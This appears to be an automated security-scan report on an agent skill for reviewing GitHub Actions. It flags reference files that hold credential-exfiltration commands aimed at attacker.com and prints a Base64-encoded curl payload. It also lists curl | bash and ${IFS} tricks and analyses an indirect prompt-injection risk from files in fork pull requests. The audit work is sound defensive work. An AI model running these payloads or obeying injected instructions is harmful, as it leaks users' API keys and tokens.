The Agent Skills Directory

[DATA_EXFILTRATION]: The skill's reference documentation contains executable shell command patterns designed to exfiltrate sensitive environment variables and credentials to rogue external domains.\n
Evidence in references/ai-prompt-injection-via-ci.md shows a payload targeting the ANTHROPIC_API_KEY via curl to attacker.com.\n
Evidence in references/credential-escalation.md and references/pwn-request.md demonstrates exfiltration of GITHUB_TOKEN to attacker.com.\n
Evidence in references/runner-infrastructure.md includes examples for accessing cloud metadata services (169.254.169.254) and exfiltrating secret files.\n- [REMOTE_CODE_EXECUTION]: The knowledge base provides specific patterns for achieving remote code execution via CI/CD workflows.\n
references/supply-chain.md and references/real-world-attacks.md document techniques for executing untrusted payloads using curl | bash patterns.\n- [OBFUSCATION]: Several reference files use Base64 encoding and shell metacharacter tricks to hide malicious command execution.\n
references/expression-injection.md contains a Base64-encoded payload Y3VybCAtc1NmTCBhdHRhY2tlci5jb20vc3RlYWw= which decodes to a malicious curl command.\n
Shell metacharacters like ${IFS} are documented in multiple attack scenarios to bypass simple string filtering.\n- [INDIRECT_PROMPT_INJECTION]: The skill is designed to ingest and analyze untrusted data from GitHub pull requests (workflows, project instructions), creating a vulnerability surface for indirect prompt injection against the agent.\n
Ingestion points: The skill explicitly reads .github/workflows/*.yml, CLAUDE.md, and AGENTS.md from potentially adversarial fork PRs.\n
Boundary markers: No delimiters or explicit warnings for the agent to ignore instructions embedded in these files are present.\n
Capability inventory: The skill grants the agent broad read access to the codebase and tasks it with tracing attack paths, increasing the risk of executing injected instructions.\n
Sanitization: There is no evidence of sanitization or validation of the external content before processing.\n- [DYNAMIC_EXECUTION]: Documentation includes templates for runtime code generation and process injection.\n
references/pwn-request.md provides templates for Go init() functions and Python setup.py classes designed to execute code automatically when files are loaded or built.

gha-security-review